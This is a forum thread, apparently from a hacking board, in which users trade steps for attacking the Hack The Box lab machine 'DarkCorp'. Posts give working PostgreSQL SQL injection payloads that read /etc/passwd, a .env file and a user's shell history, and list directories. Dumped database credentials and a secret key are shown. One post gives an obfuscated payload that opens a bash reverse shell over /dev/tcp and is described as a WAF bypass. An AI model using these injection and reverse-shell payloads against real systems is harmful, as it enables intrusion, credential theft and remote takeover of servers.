DarkCorp Hack the Box Season 7 (Windows Insane)
by RedBlock - Saturday February 8, 2025 at 03:32 PM
#41
''; SELECT pg_read_file('/etc/passwd', 0, 1000); works. may be able to exfiltrate a configuration file
Reply
#42
(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login

How did you get this ?
Ban reason: Leeching. (Permanent)
Reply
#43
(02-08-2025, 11:15 PM)0xbeef Wrote:
(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.
Reply
#44
''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000); --

gives us:
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'
Reply
#45
(02-08-2025, 11:20 PM)ThreeCleaves Wrote:
(02-08-2025, 11:15 PM)0xbeef Wrote:
(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

or curl http://drip.darkcorp.htb/dashboard/apps/.../routes.py
Reply
#46
(02-08-2025, 11:20 PM)ThreeCleaves Wrote:
(02-08-2025, 11:15 PM)0xbeef Wrote:
(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

Got it now, thanks
Ban reason: Leeching. (Permanent)
Reply
#47
we can use this command to ls directories from the SQL injection point
''; SELECT * FROM pg_ls_dir('/etc/'); --
Reply
#48
''; SELECT * FROM pg_read_file('/home/ebelford/.bash_history')
Reply
#49
DO $$ DECLARE     c text; BEGIN     c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||         ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1"''';     EXECUTE c; END $$;

Reverse shell via SQLi with "WAF" bypass
Reply
#50
(02-08-2025, 08:57 PM)Globules Wrote:
[22:01:07] Starting: dashboard/ [22:01:15] 200 -  796B  - /dashboard/.env [22:01:46] 301 -  169B  - /dashboard/__pycache__  ->  http://drip.darkcorp.htb/dashboard/__pycache__/ [22:02:35] 301 -  169B  - /dashboard/apps  ->  http://drip.darkcorp.htb/dashboard/apps/ [22:04:04] 301 -  169B  - /dashboard/media  ->  http://drip.darkcorp.htb/dashboard/media/ [22:04:36] 200 -  330B  - /dashboard/requirements.txt

http://drip.darkcorp.htb/dashboard/.env

# True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = 'support@drip.htb'

http://drip.darkcorp.htb/dashboard/requirements.txt

flask==2.2.5 Werkzeug==2.3.7 jinja2==3.1.2 flask-login==0.6.2 flask_migrate==4.0.4 WTForms==3.0.1 flask_wtf==1.2.1 flask-sqlalchemy==3.0.5 sqlalchemy==2.0.21 email_validator==2.0.0 flask-restx==1.1.0 python-dotenv==0.19.2 gunicorn==20.1.0 Flask-Minify==0.37 flask-dance==7.0.0 blinker==1.6.2 # flask_mysqldb # psycopg2-binary

How did you even found out the http://drip.darkcorp.htb?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 22 9,270 06-25-2026, 02:15 PM
Last Post: hashxyz
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 7,456 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - VOLEUR.HTB - MEDIUM WINDOWS chain 1 6,652 02-09-2026, 07:07 PM
Last Post: 403Forbidden
  HTB - CERTIFICATE.HTB - HARD WINDOWS chain 0 2,861 02-09-2026, 04:49 PM
Last Post: chain
  Hack the Box FullHouse all 7 flags RedBlock 13 4,810 01-27-2026, 08:30 PM
Last Post: 00xx00



 Users browsing this thread: 1 Guest(s)